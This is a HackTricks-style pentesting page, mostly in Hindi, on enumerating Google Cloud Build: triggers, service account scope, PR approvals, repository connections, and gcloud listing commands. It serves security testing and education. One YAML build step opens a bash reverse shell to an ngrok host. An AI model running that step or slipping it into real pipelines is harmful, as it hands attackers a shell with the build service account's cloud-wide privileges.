# GCP - Cloud Build Enum {{#include ../../../banners/hacktricks-training.md}} ## Basic Information Google Cloud Build एक प्रबंधित CI/CD प्लेटफ़ॉर्म है जो **सॉफ़्टवेयर निर्माण** और रिलीज़ प्रक्रियाओं को स्वचालित करता है, **स्रोत कोड रिपॉजिटरी** के साथ एकीकृत होता है और विभिन्न प्रोग्रामिंग भाषाओं का समर्थन करता है। यह **डेवलपर्स को स्वचालित रूप से कोड बनाने, परीक्षण करने और तैनात करने** की अनुमति देता है जबकि निर्माण चरणों और कार्यप्रवाहों को अनुकूलित करने की लचीलापन प्रदान करता है। प्रत्येक Cloud Build Trigger **एक Cloud Repository से संबंधित है या सीधे एक बाहरी रिपॉजिटरी** (Github, Bitbucket और Gitlab) से जुड़ा हुआ है। > [!TIP] > मैं यहाँ से या Cloud Repositories से Github/Bitbucket टोकन चुराने का कोई तरीका नहीं देख सका क्योंकि जब रिपॉजिटरी डाउनलोड की जाती है, तो इसे [https://source.cloud.google.com/](https://source.cloud.google.com/) URL के माध्यम से एक्सेस किया जाता है और Github क्लाइंट द्वारा एक्सेस नहीं किया जाता है। ### Events Cloud Build को ट्रिगर किया जा सकता है यदि: - **एक शाखा पर पुश करें**: शाखा निर्दिष्ट करें - **एक नया टैग पुश करें**: टैग निर्दिष्ट करें - **पुल अनुरोध**: उस शाखा को निर्दिष्ट करें जो PR प्राप्त करती है - **मैनुअल इनवोकेशन** - **Pub/Sub संदेश:** विषय निर्दिष्ट करें - **Webhook घटना**: एक HTTPS URL को उजागर करेगा और अनुरोध को एक गुप्त के साथ प्रमाणित किया जाना चाहिए ### Execution यहाँ 3 विकल्प हैं: - एक yaml/json **कमांड को निर्दिष्ट करना** जो निष्पादित किया जाना है। आमतौर पर: `/cloudbuild.yaml` - केवल एक जो वेब कंसोल और CLI में "इनलाइन" निर्दिष्ट किया जा सकता है - सबसे सामान्य विकल्प - प्रमाणीकरण रहित पहुंच के लिए प्रासंगिक - एक **Dockerfile** बनाने के लिए - एक **Buildpack** बनाने के लिए ### SA Permissions **Service Account का `cloud-platform` स्कोप है**, इसलिए यह **सभी विशेषाधिकारों का उपयोग कर सकता है।** यदि **कोई SA निर्दिष्ट नहीं है** (जैसे जब सबमिट कर रहे हैं) तो **डिफ़ॉल्ट SA** `@cloudbuild.gserviceaccount.com` का **उपयोग किया जाएगा।** डिफ़ॉल्ट रूप से कोई अनुमतियाँ नहीं दी जाती हैं लेकिन इसे कुछ देना काफी आसान है:
### Approvals यह संभव है कि एक Cloud Build को **निर्माण निष्पादन के लिए अनुमतियों की आवश्यकता** के लिए कॉन्फ़िगर किया जाए (डिफ़ॉल्ट रूप से अक्षम)। ### PR Approvals जब ट्रिगर PR होता है क्योंकि **कोई भी सार्वजनिक रिपॉजिटरी पर PR कर सकता है** तो केवल **किसी भी PR के साथ ट्रिगर के निष्पादन की अनुमति देना बहुत खतरनाक होगा।** इसलिए, डिफ़ॉल्ट रूप से, निष्पादन केवल **स्वामियों और सहयोगियों के लिए स्वचालित होगा**, और अन्य उपयोगकर्ताओं के PRs के साथ ट्रिगर को निष्पादित करने के लिए एक मालिक या सहयोगी को `/gcbrun` टिप्पणी करनी होगी।
### Connections & Repositories कनेक्शन निम्नलिखित पर बनाए जा सकते हैं: - **GitHub:** यह एक OAuth प्रॉम्प्ट दिखाएगा जो **Github टोकन प्राप्त करने के लिए अनुमतियों** के लिए पूछेगा जो **Secret Manager** के अंदर संग्रहीत किया जाएगा। - **GitHub Enterprise:** यह एक **GithubApp** स्थापित करने के लिए पूछेगा। आपके GitHub Enterprise होस्ट से एक **प्रमाणीकरण टोकन** बनाया जाएगा और इसे इस प्रोजेक्ट में एक **Secret Manager** गुप्त के रूप में संग्रहीत किया जाएगा। - **GitLab / Enterprise:** आपको **API एक्सेस टोकन और पढ़ने के लिए API एक्सेस टोकन** प्रदान करने की आवश्यकता है जो **Secret Manager** में संग्रहीत किया जाएगा। एक बार कनेक्शन उत्पन्न होने के बाद, आप इसका उपयोग **उन रिपॉजिटरी को लिंक करने के लिए कर सकते हैं जिनका Github खाता तक पहुंच है**। यह विकल्प बटन के माध्यम से उपलब्ध है:
> [!TIP] > ध्यान दें कि इस विधि से जुड़े रिपॉजिटरी **केवल 2nd पीढ़ी का उपयोग करने वाले ट्रिगर्स में उपलब्ध हैं।** ### Connect a Repository यह **`connection`** के समान नहीं है। यह **Github या Bitbucket** रिपॉजिटरी तक पहुँच प्राप्त करने के **विभिन्न** तरीकों की अनुमति देता है लेकिन **एक कनेक्शन ऑब्जेक्ट उत्पन्न नहीं करता है, बल्कि यह एक रिपॉजिटरी ऑब्जेक्ट (1st पीढ़ी का) उत्पन्न करता है।** यह विकल्प बटन के माध्यम से उपलब्ध है:
### Storage कभी-कभी Cloud Build **ट्रिगर के लिए फ़ाइलों को संग्रहीत करने के लिए एक नया स्टोरेज उत्पन्न करेगा।** यह उदाहरण के लिए उस उदाहरण में होता है जो GCP प्रदान करता है: ```bash git clone https://github.com/GoogleCloudBuild/cloud-console-sample-build && \ cd cloud-console-sample-build && \ gcloud builds submit --config cloudbuild.yaml --region=global ``` एक स्टोरेज बकेट जिसे [security-devbox_cloudbuild](https://console.cloud.google.com/storage/browser/security-devbox_cloudbuild;tab=objects?forceOnBucketsSortingFiltering=false&project=security-devbox) कहा जाता है, एक `.tgz` फ़ाइल को स्टोर करने के लिए बनाया गया है जिसमें उपयोग के लिए फ़ाइलें हैं। ### शेल प्राप्त करें ```yaml steps: - name: bash script: | #!/usr/bin/env bash bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/12395 0>&1 options: logging: CLOUD_LOGGING_ONLY ``` ग्लाउड को क्लाउड बिल्ड के अंदर स्थापित करें: ```bash # https://stackoverflow.com/questions/28372328/how-to-install-the-google-cloud-sdk-in-a-docker-image curl https://dl.google.com/dl/cloudsdk/release/google-cloud-sdk.tar.gz > /tmp/google-cloud-sdk.tar.gz mkdir -p /usr/local/gcloud tar -C /usr/local/gcloud -xvf /tmp/google-cloud-sdk.tar.gz /usr/local/gcloud/google-cloud-sdk/install.sh ``` ### Enumeration आप **बिल्ड कॉन्फ़िग्स और लॉग्स में संवेदनशील जानकारी** पा सकते हैं। ```bash # Get configured triggers configurations gcloud builds triggers list # Check for the words github and bitbucket gcloud builds triggers describe # Get build executions gcloud builds list gcloud builds describe # Get even the build yaml if defined in there gcloud builds log # Get build logs # List all connections of each region regions=("${(@f)$(gcloud compute regions list --format='value(name)')}") for region in $regions; do echo "Listing build connections in region: $region" connections=("${(@f)$(gcloud builds connections list --region="$region" --format='value(name)')}") if [[ ${#connections[@]} -eq 0 ]]; then echo "No connections found in region $region." else for connection in $connections; do echo "Describing connection $connection in region $region" gcloud builds connections describe "$connection" --region="$region" echo "-----------------------------------------" done fi echo "=========================================" done # List all worker-pools regions=("${(@f)$(gcloud compute regions list --format='value(name)')}") for region in $regions; do echo "Listing build worker-pools in region: $region" gcloud builds worker-pools list --region="$region" echo "-----------------------------------------" done ``` ### विशेषाधिकार वृद्धि {{#ref}} ../gcp-privilege-escalation/gcp-cloudbuild-privesc.md {{#endref}} ### बिना प्रमाणीकरण की पहुंच {{#ref}} ../gcp-unauthenticated-enum-and-access/gcp-cloud-build-unauthenticated-enum.md {{#endref}} ### पोस्ट एक्सप्लोइटेशन {{#ref}} ../gcp-post-exploitation/gcp-cloud-build-post-exploitation.md {{#endref}} {{#include ../../../banners/hacktricks-training.md}}